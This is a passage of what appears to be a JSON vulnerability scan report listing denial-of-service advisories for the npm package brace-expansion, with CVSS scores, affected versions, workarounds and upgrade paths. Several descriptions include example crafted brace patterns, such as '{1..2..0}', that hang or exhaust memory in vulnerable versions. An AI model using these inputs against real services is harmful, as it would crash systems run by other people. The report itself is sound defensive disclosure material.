"cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": 